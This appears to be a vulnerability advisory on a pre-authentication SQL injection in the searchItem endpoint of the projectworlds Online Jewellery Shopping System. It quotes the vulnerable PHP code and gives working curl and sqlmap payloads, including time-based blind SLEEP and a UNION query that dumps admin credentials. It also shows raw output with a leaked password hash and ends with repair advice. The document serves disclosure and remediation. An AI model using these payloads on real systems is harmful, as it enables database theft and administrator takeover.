| 説明 | # projectworlds Online Jewellery Shopping System V1.0 /index.php/dashbord/searchItem SQL injection
# Project OF AFFECTED PRODUCT(S)
- Online Jewellery Shopping System
## Vendor Homepage
- https://projectworlds.com/free-projects/php-projects/free-download-online-jewellery-shopping-system/
# AFFECTED AND/OR FIXED VERSION(S)
## submitter
- 用户名
## Vulnerable File
- /jewllary-shop/application/models/dashbord_model.php (method `searchItem`, lines 65–68)
- reachable through /jewllary-shop/index.php/dashbord/searchItem (`application/controllers/dashbord.php`, line 97)
## VERSION(S)
- V1.0 (no version tags; CodeIgniter 2.1.4, `jewllary-shop.zip` snapshot dated 2017-11-11)
## Software Link
- https://github.com/projectworlds32/Jwellary-shop-PHP-MYSQL-
# PROBLEM TYPE
## Vulnerability Type
- SQL injection (UNION query + time-based blind)
## Root Cause
- A SQL injection vulnerability was found in the `searchItem` method of the `Dashbord_model` class of the `Online Jewellery Shopping System` project. The reason for this issue is that the application takes the POST parameter `q` and concatenates it directly into the `WHERE` clause of a `SELECT` statement as a numeric literal (`transaction.item_id = $item`) without quoting, casting, escaping or using a prepared statement. Because the surrounding controller (`application/controllers/dashbord.php`) does not perform any authentication check in its constructor — only `index()` calls `is_logged_in()` — the injection point is reachable by an unauthenticated remote attacker. The query joins `item` and `transaction` on every row, so a single request evaluates the injected expression once per joined row, which makes time-based blind exploitation extremely reliable.
The vulnerable code (`application/models/dashbord_model.php`, lines 65–68):
```php
function searchItem($item){
$item = trim($item);
$sql = "SELECT item.item, item.id as itemID, transaction.id, transaction.weight, transaction.nug,
transaction.transaction_type, transaction.comment, transaction.created
from item RIGHT JOIN transaction ON transaction.item_id = item.id
WHERE transaction.item_id = $item"; // ← unquoted, unescaped, attacker-controlled
$query = $this->db->query($sql);
```
The missing authentication check (`application/controllers/dashbord.php`, lines 5–13):
```php
public function __construct() {
parent::__construct();
$this->load->model('Dashbord_model');
$this->load->model('Init_model');
} // no is_logged_in() here
public function index(){
$this->is_logged_in(); // only the dashboard page is protected
```
## Impact
- Attackers can exploit this SQL injection vulnerability to (a) read the entire database of the shop, including the `auth` table that stores administrator usernames and password hashes, (b) read the `item` and `transaction` tables (stock levels, purchase/sale records, weights and prices), (c) enumerate other databases on the same MySQL/MariaDB instance through `information_schema`, and (d) combine the leaked administrator hash with the shipped default credentials to take over the back office. No account or cookie is required.
# DESCRIPTION
- During the security review of "Online Jewellery Shopping System" I discovered a pre-authentication SQL injection vulnerability in the `dashbord/searchItem` endpoint. The vulnerability stems from insufficient validation of the POST parameter `q`, which is interpolated into a numeric position of the SQL statement. The controller exposes every business method of the dashboard without an authentication guard, so a remote attacker can reach the query directly. On the test instance the injected `SLEEP()` was evaluated once per joined row (seven rows), producing a stable 21-second delay, and a UNION payload returned the administrator hash in the HTML table. Immediate remediation is required.
# No login or authorization is required to exploit this vulnerability
# Vulnerability details and POC
## Vulnerability location:
- POST parameter `q` in `/jewllary-shop/index.php/dashbord/searchItem` — no session, cookie or login is required.
## Proof-of-Concept (raw PoC commands, unauthenticated)
```
# 0) Baseline — one normal request, no cookie
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" \
-X POST "http://<target>/index.php/dashbord/searchItem" -d "q=11"
# 1) Time-based blind — SLEEP() runs once per joined row → ~21s
curl -s -o /dev/null -w "%{time_total}\n" \
-X POST "http://<target>/index.php/dashbord/searchItem" -d "q=0 OR SLEEP(3)"
# 2) Column enumeration — the SELECT list has 8 columns
q=0 ORDER BY 8 -> 200 OK
q=0 ORDER BY 9 -> SQL error "Unknown column '9' in 'order clause'"
# 3) UNION query — dump administrator credentials from the auth table
curl -s -X POST "http://<target>/index.php/dashbord/searchItem" \
--data-urlencode "q=0 UNION SELECT user_name,1,id,1,1,password,1,1 FROM auth"
# Response contains: <td>admin</td> ... <td>d033e22ae348aeb5660fc2140aec35850c4da997</td>
# 4) Same primitive can read any table on the instance, e.g.
q=0 UNION SELECT table_schema,1,1,1,1,table_name,1,1 FROM information_schema.tables
```
## Verified detection summary (curl; sqlmap reproduces the same request)
```
Parameter: q (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: q=0 UNION SELECT user_name,1,id,1,1,password,1,1 FROM auth
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: q=0 OR SLEEP(3)
---
web application technology: PHP 5.5.9, CodeIgniter 2.1.4
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
```
## Reproduction with sqlmap
```bash
python sqlmap.py -u "http://<target>/index.php/dashbord/searchItem" \
--data="q=11" -p q --dbms=mysql \
--dbs --batch --threads=1 --level=3 --risk=2
python sqlmap.py -u "http://<target>/index.php/dashbord/searchItem" \
--data="q=11" -p q --dbms=mysql \
-D ornament -T auth -C user_name,password --dump --batch --threads=1
```
## Raw evidence (local test instance)
```
baseline q=11 http=200 time=0.039008 size=2060
payload q=0 OR SLEEP(3) http=200 time=21.125164
union -> <td>d033e22ae348aeb5660fc2140aec35850c4da997</td>
```
# Suggested repair
1. **Use prepared statements and parameter binding:**
Cast the value and bind it — `$this->db->where('transaction.item_id', (int)$this->input->post('q'))`, or rewrite the model with `$this->db->query('... WHERE transaction.item_id = ?', array((int)$q))`. Never place user input into a numeric SQL position by string concatenation.
2. **Restore the authentication guard:**
Call `is_logged_in()` (and `exit` after the redirect) in `Dashbord::__construct()` so that every dashboard method — not only `index()` — requires an authenticated session.
3. **Validate input:**
Enforce `ctype_digit()` / `intval()` on `q` before it reaches the model, and reject anything else with HTTP 400.
4. **Do not leak database errors:**
Set `$db['default']['db_debug'] = FALSE` in production and log errors server-side; the current configuration returns the failing SQL statement to the client.
5. **Minimize database user permissions:**
The application connects as `root` with an empty password (`application/config/database.php`, lines 51–54). Use a dedicated account limited to `SELECT/INSERT/UPDATE/DELETE` on the `ornament` schema.
6. **Regular security audits:**
The same concatenation pattern exists in `searchAdvance` (same model) and in `home/search`, `home/reportcard`; audit all `$this->db->query()` call sites. |
|---|